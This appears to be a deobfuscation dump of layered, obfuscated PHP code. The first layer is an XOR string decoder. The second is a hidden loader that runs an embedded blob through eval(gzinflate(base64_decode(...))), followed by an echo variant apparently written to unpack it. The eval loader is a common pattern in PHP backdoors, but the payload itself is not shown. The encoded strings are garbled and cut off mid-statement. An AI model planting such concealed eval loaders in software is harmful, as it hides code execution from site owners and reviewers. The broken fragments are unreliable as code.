Decrypted code level 1:

$OSIRISH_a4fa614 = function (
    $str = "5]@]G_DPNw+##\"*~d|p`|yy05]@]G_DPN*u#ts;<^AZF\E_G%sv\$,?lXtdrx=2XKX@ZG]I/~&sv<wwd}'&Lppux|t:7[F_EQBZL ts'!8;:/h-3WB[A]F^H})%% =~r`#pzz=4!/&s%-#s!.'q%%\"\"!-3;?qmf{wuw;gade}g:1./~dqc{`[7?;Xw{qJqrlNq|zasylb:LG]CYKE@VU^Iq* #!vw%>1J N=."
) {
    $ky = str_replace(" ", "", "12345678");
    if (strlen($ky) < 8) {
        
    }
    $kl = strlen($ky) < 32 ? strlen($ky) : 32;
    $k = [];
    for ($i = 0; $i < $kl; $i++) {
        $k[$i] = ord($ky[$i]) & 0x1f;
    }
    $j = 0;
    for ($i = 0; $i < strlen($str); $i++) {
        $e = ord($str[$i]);
        $str[$i] = $e & 0xe0 ? chr($e ^ $k[$j]) : chr($e);
        $j++;
        $j = $j == $kl ? 0 : $j;
    }
    echo($str);
};
$OSIRISH_a4fa614();

Decrypted code level 2:

	$OSIRISH_e8764=function($OSIRISH_8f7ae,$OSIRISH_4ae09){
	@eval($OSIRISH_8f7ae(base64_decode($OSIRISH_4ae09)));
};
	$OSIRISH_e8764(hex2bin("677a696e666c617465"),explode(strrev("::hsirisO"),@fib^dd{
		V`niufo{
		z+^TIVO\]QDFJ\g=823ec0(&R1\.:

	$OSIRISH_e8764=function($OSIRISH_8f7ae,$OSIRISH_4ae09){
	echo $OSIRISH_8f7ae(base64_decode($OSIRISH_4ae09));
};
	$OSIRISH_e8764(hex2bin("677a696e666c617465"),explode(strrev("::hsirisO"),@fib^dd{
		V`niufo{
		z+^TIVO\]QDFJ\g=823ec0(&R1\.: